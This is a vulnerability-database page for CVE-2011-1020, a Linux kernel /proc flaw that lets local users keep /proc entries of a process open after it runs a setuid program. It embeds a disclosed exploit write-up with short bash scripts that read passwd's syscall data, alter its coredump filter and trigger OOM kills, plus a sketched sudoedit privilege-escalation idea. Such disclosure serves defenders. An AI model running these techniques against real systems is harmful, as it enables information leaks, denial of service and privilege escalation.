CVE-2011-1020 : Detail

CVE-2011-1020

A01-Broken Access Control
0.05%V3
Local
2011-02-28
14h00 +00:00
2017-08-16
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The proc filesystem implementation in the Linux kernel 2.6.37 and earlier does not restrict access to the /proc directory tree of a process after this process performs an exec of a setuid program, which allows local users to obtain sensitive information or cause a denial of service via open, lseek, read, and write system calls.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 41770

Publication date : 2011-01-16 23h00 +00:00
Author : halfdog
EDB Verified : No

Source: http://www.halfdog.net/Security/2011/SuidBinariesAndProcInterface/ # proc Handling of Already Opened Files: Subvert The Stack Base Address Randomization With Suid-Binaries Problem description: Latest ubuntu lucid stock kernel (2.6.32-27-generic) contains a bug that allows to keep attached to open /proc file entries as lower privileged user even after the process is executing suid binary. By doing that, a malicous user might draw information from the proc interface or even modify process settings of privileged process. Monitor syscalls, syscall stack, limits of running suid-binaries: A simple helper program (ProcReadHelper.c) is sufficient to open a proc entry before executing a suid program and keep it open. (SyscallReadExample.sh): #!/bin/bash (./ProcReadHelper /proc/$$/syscall) & sleep 1 exec /usr/bin/passwd Output: Read 69 bytes: 7 0xffffffff 0xbff646ac 0x0 0x0 0xf4d 0xbff646c8 0xbff64654 0x64b422 Changing password for test. (current) UNIX password: Read 69 bytes: 3 0x0 0xbffb4a84 0x1ff 0x0 0xbffb4a84 0xbffb4d18 0xbffb4814 0xf30422 Read 69 bytes: 3 0x0 0xbffb4a84 0x1ff 0x0 0xbffb4a84 0xbffb4d18 0xbffb4814 0xf30422 The same can be done with /proc/[pid]/stack or /proc/[pid]/limits, where one can see how passwd increases its limits to unlimited after invocation. Modify core dump flags of running suid-binaries: Since proc is also writeable, the same technique can be used to modify open proc files, e.g. adjust the coredump filter of a currently running passwd program (ModifyCoreDumpFilter.sh): #!/bin/bash echo "Current pid is $$" (sleep 10; echo 127 ) > /proc/$$/coredump_filter & sleep 5 exec /usr/bin/passwd Some open proc files can only be written by the process itself, e.g. /proc/[pid]/mem, a limitation that could be circumvented if any suid-binary echos out command line/input file/environment data, e.g. sudoedit -p xxx /etc/sudoers echos xxx. If /procc/[pid]/mem would be writeable on standard linux kernels, this program should give local root privilege escalation (SeekHelper.c), e.g. ./SeekHelper /proc/self/mem 8048000 /usr/bin/sudoedit -p xxx /etc/sudoers with a crafted address and promt payload. Currently something else is still blocking in kernel, could be fs/proc/base.c: static ssize_t mem_read(struct file * file, char __user * buf, size_t count, loff_t *ppos) { ... if (file->private_data != (void*)((long)current->self_exec_id)) goto out_put; Inject faults using oom_adjust: Some programs, e.g. from the shadow suite, try to disable all signals and limits to assure that critical code is not interrupted, e.g. modification of /etc/shadow when a unprivileged user changes his password. Since this program creates a lock file, interruption via oom_kill could leave stale lockfiles and so impede functionality. test@localhost:~/Tasks/LowMemoryProgramCrashing$ cat OomRun.sh #!/bin/bash (sleep 3; echo 15) > /proc/$$/oom_adj & exec /usr/bin/passwd

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 2.6.37

References

http://securityreason.com/securityalert/8107
Tags : third-party-advisory, x_refsource_SREASON
http://secunia.com/advisories/43496
Tags : third-party-advisory, x_refsource_SECUNIA
http://openwall.com/lists/oss-security/2011/02/24/18
Tags : mailing-list, x_refsource_MLIST
https://lkml.org/lkml/2011/2/7/466
Tags : mailing-list, x_refsource_MLIST
http://openwall.com/lists/oss-security/2011/02/25/2
Tags : mailing-list, x_refsource_MLIST
https://lkml.org/lkml/2011/2/7/414
Tags : mailing-list, x_refsource_MLIST
https://lkml.org/lkml/2011/2/10/21
Tags : mailing-list, x_refsource_MLIST
http://www.securityfocus.com/bid/46567
Tags : vdb-entry, x_refsource_BID
https://lkml.org/lkml/2011/2/7/368
Tags : mailing-list, x_refsource_MLIST
https://lkml.org/lkml/2011/2/9/417
Tags : mailing-list, x_refsource_MLIST
https://lkml.org/lkml/2011/2/7/474
Tags : mailing-list, x_refsource_MLIST
https://lkml.org/lkml/2011/2/7/404
Tags : mailing-list, x_refsource_MLIST
http://seclists.org/fulldisclosure/2011/Jan/421
Tags : mailing-list, x_refsource_FULLDISC